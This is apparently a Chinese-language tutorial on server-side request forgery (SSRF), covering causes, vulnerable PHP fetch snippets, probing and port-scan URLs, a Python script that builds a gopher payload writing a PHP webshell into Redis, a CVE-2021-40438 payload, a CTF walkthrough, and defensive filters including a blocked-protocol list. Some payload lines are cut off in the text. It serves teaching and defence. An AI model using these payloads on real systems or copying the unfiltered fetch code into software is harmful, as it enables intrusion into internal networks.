SSRF漏洞详解 基础原理 SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。攻击者利用服务器端提供的从其他服务器获取数据的功能,通过构造恶意请求,让服务器去访问不应该被公开访问的资源。
漏洞定义 SSRF漏洞的核心在于:服务端提供了从其他服务器应用获取数据的功能,但没有对目标地址做过滤与限制。攻击者可以控制服务端发起请求的目标地址,从而探测或攻击内网服务。
漏洞成因 SSRF漏洞的形成主要有以下几个原因:
服务端提供了获取远程数据的功能,如:
从指定URL获取图片、文件 从远程API获取数据 加载远程配置文件 未对用户输入的URL参数进行严格的验证和过滤
未限制可访问的协议和地址范围
漏洞危害 SSRF漏洞的危害主要体现在以下几个方面:
内网探测 攻击者可以利用SSRF漏洞探测内网服务,获取内网资产信息:
1 2 3 4 5 6 <?php $url = $_GET ['url' ];$ch = curl_init ($url );curl_exec ($ch );curl_close ($ch );?>
攻击者可以构造如下请求探测内网主机:
1 2 3 http://target.com/?url=http://192.168.1.1 http://target.com/?url=http://192.168.1.2 http://target.com/?url=http://172.17.0.1
端口扫描 通过SSRF漏洞可以进行端口扫描,识别内网服务:
1 2 3 4 /search?url=http://172.17.0.2:22 /search?url=http://172.17.0.2:3306 /search?url=http://172.17.0.2:6379
攻击内网服务 攻击者可以利用SSRF漏洞攻击内网的各种服务,如:
Redis未授权访问 MySQL数据库 FastCGI服务 文件读取(file://协议) 绕过防火墙 SSRF漏洞可以绕过防火墙和其他网络防护措施,直接从内部网络发起攻击,这使得一些仅对外部访问设限的安全措施失效。
常见触发点 SSRF漏洞通常出现在以下场景中:
1. 远程图片加载 1 2 3 4 5 <?php $url = $_GET ['img_url' ];$img = file_get_contents ($url );echo $img ;?>
2. 远程API调用 1 2 3 4 5 <?php $api_url = $_POST ['api_url' ];$response = curl_exec (curl_init ($api_url ));echo $response ;?>
3. 文件分享功能 1 2 3 4 5 <?php $share_url = $_GET ['share' ];$content = file_get_contents ($share_url );echo $content ;?>
4. Webhook功能 1 2 3 4 5 <?php $webhook_url = $_POST ['webhook' ];curl_setopt ($ch , CURLOPT_URL, $webhook_url );curl_exec ($ch );?>
5. 在线转换工具 1 2 3 4 5 <?php $source_url = $_GET ['source' ];$converter_url = "http://converter.com/convert?url=" . $source_url ;$result = file_get_contents ($converter_url );?>
支持的协议 SSRF漏洞可以利用多种协议进行攻击,不同的协议有不同的攻击效果:
HTTP/HTTPS协议 最常用的协议,主要用于:
FILE协议 读取服务器本地文件:
DICT协议 探测TCP端口服务,获取服务信息:
GOPHER协议 发送任意TCP数据流,攻击各种服务:
1 2 ?url=gopher: ?url=gopher:
FTP协议 访问FTP服务:
利用方式 基础探测 1. 内网主机存活探测 1 2 3 4 5 6 7 8 9 10 <?php $url = $_GET ['url' ];$ch = curl_init ();curl_setopt ($ch , CURLOPT_URL, $url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_TIMEOUT, 5 );echo curl_exec ($ch );curl_close ($ch );?>
攻击者可以通过以下方式探测内网主机:
1 2 3 4 5 6 7 8 http://target.com/?url=http://172.17.0.1 http://target.com/?url=http://172.17.0.2 http://target.com/?url=http://172.17.0.3 http://target.com/?info
2. 端口扫描 使用Burp Suite的Intruder模块进行端口扫描:
1 2 3 4 5 http://target.com/?url=http://172.17.0.2:22 http://target.com/?url=http://172.17.0.2:80 http://target.com/?url=http://172.17.0.2:3306 http://target.com/?url=http://172.17.0.2:6379 http://target.com/?url=http://172.17.0.2:9000
根据返回信息判断端口是否开放:
连接超时:端口可能关闭 返回特定服务信息:端口开放 返回”Go away”或类似信息:端口开放但拒绝连接 文件读取 使用file协议读取服务器本地文件:
1 2 3 4 ?url=file: ?url=file: ?url=file: ?url=file:
攻击内网服务 1. 攻击Redis 使用gopher协议攻击Redis服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import urllibprotocol = "gopher://" ip = "172.17.0.2" port = "6379" shell = "\n\n<?php system(\"cat /flag\");?>\n\n" filename = "web.php" path = "/var/www/html/upload" cmd = [ "flushall" , "set 1 {}" .format (shell.replace(" " , "${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" ] payload = protocol + ip + ":" + port + "/_" def redis_format (arr ): CRLF = "\r\n" redis_arr = arr.split(" " ) cmd = "" cmd += "*" + str (len (redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str (len ((x.replace("${IFS}" , " " )))) + CRLF + x.replace("${IFS}" , " " ) cmd += CRLF return cmd for x in cmd: payload += urllib.quote(redis_format(x)) print payload
2. 攻击FastCGI 使用gopher协议构造FastCGI请求攻击PHP-FPM:
防御措施 1. 严格的输入验证 对URL参数进行严格的验证和过滤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php $url = $_GET ['url' ];$allowed_domains = ['example.com' , 'api.example.com' ];$parsed_url = parse_url ($url );if (!in_array ($parsed_url ['host' ], $allowed_domains )) { die ('Invalid domain' ); } $allowed_schemes = ['http' , 'https' ];if (!in_array ($parsed_url ['scheme' ], $allowed_schemes )) { die ('Invalid protocol' ); } if (filter_var ($parsed_url ['host' ], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die ('Private IP not allowed' ); } ?>
2. 限制协议 只允许HTTP和HTTPS协议,禁用危险协议:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $url = $_GET ['url' ];if (!preg_match ('/^https?:\/\//i' , $url )) { die ('Only HTTP and HTTPS protocols are allowed' ); } $blocked_protocols = ['file://' , 'dict://' , 'gopher://' , 'ftp://' ];foreach ($blocked_protocols as $protocol ) { if (stripos ($url , $protocol ) !== false ) { die ('Protocol not allowed' ); } } ?>
3. 内网IP过滤 过滤内网IP地址和本地回环地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php function is_private_ip ($ip ) { $private_ranges = [ '10.0.0.0/8' , '172.16.0.0/12' , '192.168.0.0/16' , '127.0.0.0/8' , '0.0.0.0/8' ]; $ip_long = ip2long ($ip ); foreach ($private_ranges as $range ) { list ($network , $mask ) = explode ('/' , $range ); $network_long = ip2long ($network ); $mask_long = -1 << (32 - $mask ); if (($ip_long & $mask_long ) == ($network_long & $mask_long )) { return true ; } } return false ; } $url = $_GET ['url' ];$parsed_url = parse_url ($url );if (filter_var ($parsed_url ['host' ], FILTER_VALIDATE_IP) && is_private_ip ($parsed_url ['host' ])) { die ('Private IP not allowed' ); } ?>
4. 统一错误信息 避免通过错误信息泄露内网信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $url = $_GET ['url' ];try { $ch = curl_init ($url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); curl_setopt ($ch , CURLOPT_TIMEOUT, 10 ); $response = curl_exec ($ch ); if (curl_errno ($ch )) { die ('Error fetching URL' ); } curl_close ($ch ); echo $response ; } catch (Exception $e ) { die ('Error processing request' ); } ?>
5. 禁用重定向 禁止302重定向或对重定向进行严格验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $url = $_GET ['url' ];$ch = curl_init ($url );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true );curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, false ); $response = curl_exec ($ch );if (curl_errno ($ch ) == 47 ) { die ('Redirect not allowed' ); } curl_close ($ch );echo $response ;?>
6. 使用网络隔离 将需要发起外部请求的服务部署在独立的网络环境中,使用代理服务器进行请求转发:
1 2 3 4 5 6 7 8 <?php $url = $_GET ['url' ];$proxy_url = "http://internal-proxy.com/fetch?url=" . urlencode ($url );$response = file_get_contents ($proxy_url );echo $response ;?>
7. 限制端口 只允许访问特定的端口:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $url = $_GET ['url' ];$parsed_url = parse_url ($url );if (isset ($parsed_url ['port' ])) { $port = $parsed_url ['port' ]; $allowed_ports = [80 , 443 , 8080 ]; if (!in_array ($port , $allowed_ports )) { die ('Port not allowed' ); } } ?>
8. 使用DNS解析 将URL转换为IP地址后再进行验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $url = $_GET ['url' ];$parsed_url = parse_url ($url );$host = $parsed_url ['host' ];$ips = gethostbynamel ($host );foreach ($ips as $ip ) { if (is_private_ip ($ip )) { die ('Private IP not allowed' ); } } ?>
检测方法 1. 手动检测 寻找可能存在SSRF漏洞的功能点:
图片加载功能 文件分享功能 远程API调用 Webhook功能 在线转换工具 2. 自动化工具 使用SSRFmap等工具进行自动化检测:
1 2 3 4 5 python ssrfmap.py -u "http://target.com/?url=http://example.com" -m portscan python ssrf-testing.py -u "http://target.com/?url=http://example.com"
3. Burp Suite插件 使用SSRF相关的Burp Suite插件:
SSRF Detector Collaborator Everywhere 实战案例 案例1:CTF题目 - ssrfme 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__file__);function curl ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); echo curl_exec ($ch ); curl_close ($ch ); } if (isset ($_GET ['url' ])){ $url = $_GET ['url' ]; if (preg_match ('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is' , $url ,$match )) { die ('No, No, No!' ); } curl ($url ); } if (isset ($_GET ['info' ])){ phpinfo (); } ?>
利用步骤:
通过phpinfo获取内网IP 探测内网存活主机 扫描开放端口 发现Redis服务 利用gopher协议攻击Redis 写入webshell获取flag 案例2:Apache mod_proxy SSRF (CVE-2021-40438) 漏洞原理:Apache mod_proxy模块在处理Unix套接字URL时存在漏洞,攻击者可以通过构造特殊的URL绕过限制发起SSRF攻击。
利用Payload:
1 GET /?unix:{'A'*5000}|http://example.com/ HTTP/1.1
总结 SSRF漏洞是一种严重的安全漏洞,可以导致内网信息泄露、服务被攻击等严重后果。防御SSRF漏洞需要从多个层面入手:
严格的输入验证和过滤 限制可访问的协议和地址范围 统一错误信息,避免信息泄露 使用网络隔离和代理服务器 定期进行安全测试和代码审计 只有综合运用多种防御措施,才能有效防范SSRF漏洞的攻击。